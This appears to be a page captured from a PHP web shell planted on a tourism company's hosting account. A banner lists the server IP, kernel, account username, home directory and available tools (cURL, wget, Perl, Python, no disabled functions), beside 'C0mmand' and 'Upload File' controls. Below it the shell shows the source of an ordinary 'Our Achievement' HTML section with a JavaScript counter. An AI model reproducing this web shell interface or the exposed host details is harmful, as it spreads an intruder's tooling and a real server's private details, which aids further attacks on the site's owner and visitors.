Server IP : 103.53.40.154 / Your IP : 3.144.115.125 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/relianttourism.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<style> .achive{ background-image:url('assets/img/teexi.jpg'); margin-top:20px; padding-bottom:20px; } .counter-text h3,p,span,h2{ /*color:#fefefe;*/ } </style> <section class="pt-50 achive" > <section class="counter-section"> <div class="container"> <div class="row text-center counter-text" > <div class="section-head-alpha" style="width:100%"> <h2>Our <span>Achivement</span></h2> <!--<h3 style="margin-top:20px; margin-bottom:20px">--> <!-- Our Achivement--> <!--</h3>--> </div> <div class="col-md-3 mb-lg-0 mb-md-0 mb-5"> <img src="assets/img/reputation.png" alt="Bhatia" width="100px"> <h2> <span id="count1"></span>+ </h2> <p>Customer Satisfaction</p> </div> <div class="col-md-3 mb-lg-0 mb-md-0 mb-5"> <img src="assets/img/avatar.png" alt="Bhatia" width="100px"> <h2> <span id="count2"></span>+ </h2> <p>Professional Drivers</p> </div> <div class="col-md-3 mb-lg-0 mb-md-0 mb-5"> <img src="assets/img/team.png" alt="Bhatia" width="100px"> <h2> <span id="count3"></span>+ </h2> <p>Corporate Partnerships</p> </div> <div class="col-md-3 mb-lg-0 mb-md-0 mb-5"> <img src="assets/img/employee-engagement.png" alt="Bhatia" width="100px"> <h2> <span id="count4"></span>+ </h2> <p>Community Engagement</p> </div> </div> </div> </section> </section> <script> // Counting js document.addEventListener("DOMContentLoaded", ()=>{ function counter(id, start, end, duration){ let obj = document.getElementById(id), current = start, range = end - start, increment = end > start ? 1 : -1, step = Math.abs(Math.floor(duration / range)), timer = setInterval(()=>{ current += increment; obj.textContent = current; if(current == end){ clearInterval(timer); } }, step) } counter("count1", 0, 1287, 3000); counter("count2", 100, 5887, 2500); counter("count3", 0, 1440, 3000); counter("count4", 0, 7110, 3000); }); </script>